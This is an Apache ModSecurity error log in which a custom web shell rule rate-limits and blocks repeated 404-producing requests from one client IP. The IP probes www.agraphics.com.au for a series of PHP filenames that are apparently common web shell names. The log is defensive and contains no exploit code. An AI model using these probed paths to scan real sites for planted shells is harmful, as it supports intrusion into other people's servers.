[Sat Dec 13 00:03:18.772463 2025] [:error] [pid 60649:tid 60657] [client 4.193.186.94:35843] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gib.php"] [unique_id "aTw8xlOcUGKU3sgfHP8iFQAAAQU"]
[Sat Dec 13 00:03:19.120966 2025] [:error] [pid 27950:tid 27960] [client 4.193.186.94:35880] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/article.php"] [unique_id "aTw8x4VLRvkrdsSc1F3M0AAAAUg"]
[Sat Dec 13 00:03:19.505491 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:35862] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/article.php"] [unique_id "aTw8x88TRgSGOeWqEhcU3wAAAA4"]
[Sat Dec 13 00:03:19.735432 2025] [:error] [pid 26519:tid 26524] [client 4.193.186.94:35957] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/article.php"] [unique_id "aTw8x88TRgSGOeWqEhcU4QAAAAE"]
[Sat Dec 13 00:03:20.090783 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:35929] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/article.php"] [unique_id "aTw8yJdhcAPU617AKTDDawAAAJQ"]
[Sat Dec 13 00:03:20.342884 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:35842] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/efile.php"] [unique_id "aTw8yM8TRgSGOeWqEhcU4gAAABI"]
[Sat Dec 13 00:03:20.553028 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:35879] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/efile.php"] [unique_id "aTw8yM8TRgSGOeWqEhcU4wAAAAA"]
[Sat Dec 13 00:03:20.841170 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:35907] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/efile.php"] [unique_id "aTw8yM8TRgSGOeWqEhcU5AAAAAQ"]
[Sat Dec 13 00:03:21.017645 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:35852] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/efile.php"] [unique_id "aTw8yZdhcAPU617AKTDDbQAAAJc"]
[Sat Dec 13 00:03:21.330392 2025] [:error] [pid 26607:tid 26631] [client 4.193.186.94:35962] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wui.php"] [unique_id "aTw8ycb_b0tOEWTL2KnFnQAAANY"]
[Sat Dec 13 00:03:21.709898 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:35884] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wui.php"] [unique_id "aTw8yZdhcAPU617AKTDDcAAAAJg"]
[Sat Dec 13 00:03:21.991468 2025] [:error] [pid 60649:tid 60661] [client 4.193.186.94:35960] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wui.php"] [unique_id "aTw8yVOcUGKU3sgfHP8iFgAAAQk"]
[Sat Dec 13 00:03:22.240994 2025] [:error] [pid 26607:tid 26626] [client 4.193.186.94:35891] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wui.php"] [unique_id "aTw8ysb_b0tOEWTL2KnFngAAANE"]
[Sat Dec 13 00:03:22.462207 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:35933] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgn.php"] [unique_id "aTw8yoVLRvkrdsSc1F3M1QAAAVc"]
[Sat Dec 13 00:03:22.679153 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:35911] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgn.php"] [unique_id "aTw8ys8TRgSGOeWqEhcU5wAAABQ"]
[Sat Dec 13 00:03:22.903633 2025] [:error] [pid 26521:tid 26589] [client 4.193.186.94:35958] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgn.php"] [unique_id "aTw8ypdhcAPU617AKTDDdAAAAIo"]
[Sat Dec 13 00:03:23.092050 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:35875] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgn.php"] [unique_id "aTw8y4VLRvkrdsSc1F3M1gAAAUk"]
[Sat Dec 13 00:03:23.358012 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:35947] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTw8y1ObDQlftFDyGaxF8wAAAYY"]
[Sat Dec 13 00:03:23.591636 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:35883] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTw8y5dhcAPU617AKTDDeAAAAIA"]
[Sat Dec 13 00:03:23.886844 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:35858] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTw8y5dhcAPU617AKTDDeQAAAJQ"]
[Sat Dec 13 00:03:24.176306 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:21326] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTw8zFOcUGKU3sgfHP8iGQAAAQ8"]
[Sat Dec 13 00:03:24.589659 2025] [:error] [pid 26520:tid 26574] [client 4.193.186.94:35937] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/spk.php"] [unique_id "aTw8zEG_frlY5vNXu_Af6AAAAFY"]
[Sat Dec 13 00:03:24.854326 2025] [:error] [pid 26607:tid 26616] [client 4.193.186.94:35932] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/spk.php"] [unique_id "aTw8zMb_b0tOEWTL2KnFpAAAAMc"]
[Sat Dec 13 00:03:25.326659 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:21350] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/spk.php"] [unique_id "aTw8zZdhcAPU617AKTDDfAAAAJE"]
[Sat Dec 13 00:03:25.767268 2025] [:error] [pid 26520:tid 26560] [client 4.193.186.94:35966] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/spk.php"] [unique_id "aTw8zUG_frlY5vNXu_Af6wAAAEg"]
[Sat Dec 13 00:03:26.081152 2025] [:error] [pid 26520:tid 26564] [client 4.193.186.94:35898] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/log.php"] [unique_id "aTw8zkG_frlY5vNXu_Af7AAAAEw"]
[Sat Dec 13 00:03:26.337791 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:35864] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/log.php"] [unique_id "aTw8zkG_frlY5vNXu_Af7gAAAFg"]
[Sat Dec 13 00:03:26.552455 2025] [:error] [pid 26520:tid 26573] [client 4.193.186.94:35885] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/log.php"] [unique_id "aTw8zkG_frlY5vNXu_Af7wAAAFU"]
[Sat Dec 13 00:03:26.736103 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:35868] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/log.php"] [unique_id "aTw8zlObDQlftFDyGaxF9QAAAZI"]
[Sat Dec 13 00:03:27.003976 2025] [:error] [pid 26520:tid 26554] [client 4.193.186.94:35908] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aTw8z0G_frlY5vNXu_Af8gAAAEI"]
[Sat Dec 13 00:03:27.406194 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:35893] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aTw8z4VLRvkrdsSc1F3M2wAAAVg"]
[Sat Dec 13 00:03:27.725268 2025] [:error] [pid 26520:tid 26569] [client 4.193.186.94:35936] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aTw8z0G_frlY5vNXu_Af-AAAAFE"]
[Sat Dec 13 00:03:28.040046 2025] [:error] [pid 26607:tid 26620] [client 4.193.186.94:20993] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aTw80Mb_b0tOEWTL2KnFpgAAAMs"]
[Sat Dec 13 00:03:28.343014 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:35905] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2r.php"] [unique_id "aTw80M8TRgSGOeWqEhcU6gAAAA8"]
[Sat Dec 13 00:03:28.590457 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:35912] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2r.php"] [unique_id "aTw80M8TRgSGOeWqEhcU6wAAAAM"]
[Sat Dec 13 00:03:29.080125 2025] [:error] [pid 26521:tid 26581] [client 4.193.186.94:35923] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2r.php"] [unique_id "aTw80ZdhcAPU617AKTDDhQAAAII"]
[Sat Dec 13 00:03:29.524325 2025] [:error] [pid 26521:tid 26585] [client 4.193.186.94:35944] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2r.php"] [unique_id "aTw80ZdhcAPU617AKTDDhwAAAIY"]
[Sat Dec 13 00:03:29.737664 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:35903] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailer.php7"] [unique_id "aTw80ZdhcAPU617AKTDDiAAAAJM"]
[Sat Dec 13 00:03:30.140941 2025] [:error] [pid 26519:tid 26528] [client 4.193.186.94:35901] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailer.php7"] [unique_id "aTw80s8TRgSGOeWqEhcU8AAAAAU"]
[Sat Dec 13 00:03:30.495150 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:35910] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailer.php7"] [unique_id "aTw80s8TRgSGOeWqEhcU8wAAAAQ"]
[Sat Dec 13 00:03:30.855532 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:35945] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailer.php7"] [unique_id "aTw80pdhcAPU617AKTDDjgAAAIk"]
[Sat Dec 13 00:03:31.066671 2025] [:error] [pid 55760:tid 55776] [client 4.193.186.94:35892] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aTw801ObDQlftFDyGaxF9gAAAY4"]
[Sat Dec 13 00:03:31.362983 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:35949] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aTw801ObDQlftFDyGaxF9wAAAYE"]
[Sat Dec 13 00:03:31.594709 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:35930] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aTw804VLRvkrdsSc1F3M3AAAAUY"]
[Sat Dec 13 00:03:31.937482 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:35890] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aTw801ObDQlftFDyGaxF-AAAAZU"]
[Sat Dec 13 00:03:32.240083 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:35922] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aTw81JdhcAPU617AKTDDlwAAAJU"]
[Sat Dec 13 00:03:32.813522 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:21325] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aTw81JdhcAPU617AKTDDmQAAAIE"]
[Sat Dec 13 00:03:33.000564 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:21341] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aTw81JdhcAPU617AKTDDmwAAAIc"]
[Sat Dec 13 00:03:33.344790 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:35874] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aTw81ZdhcAPU617AKTDDngAAAJA"]
[Sat Dec 13 00:03:33.675950 2025] [:error] [pid 26521:tid 26581] [client 4.193.186.94:35943] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "aTw81ZdhcAPU617AKTDDoAAAAII"]
[Sat Dec 13 00:03:34.230954 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:21345] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "aTw81pdhcAPU617AKTDDoQAAAI0"]
[Sat Dec 13 00:03:34.869948 2025] [:error] [pid 55760:tid 55772] [client 4.193.186.94:35934] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "aTw81lObDQlftFDyGaxF_QAAAYo"]
[Sat Dec 13 00:03:35.291804 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:35894] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "aTw8188TRgSGOeWqEhcU9gAAABA"]
[Sat Dec 13 00:03:35.620758 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:35867] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ula.php"] [unique_id "aTw815dhcAPU617AKTDDowAAAIU"]
[Sat Dec 13 00:03:35.978713 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:35925] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ula.php"] [unique_id "aTw815dhcAPU617AKTDDpQAAAIA"]
[Sat Dec 13 00:03:36.280752 2025] [:error] [pid 26521:tid 26585] [client 4.193.186.94:35959] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ula.php"] [unique_id "aTw82JdhcAPU617AKTDDpgAAAIY"]
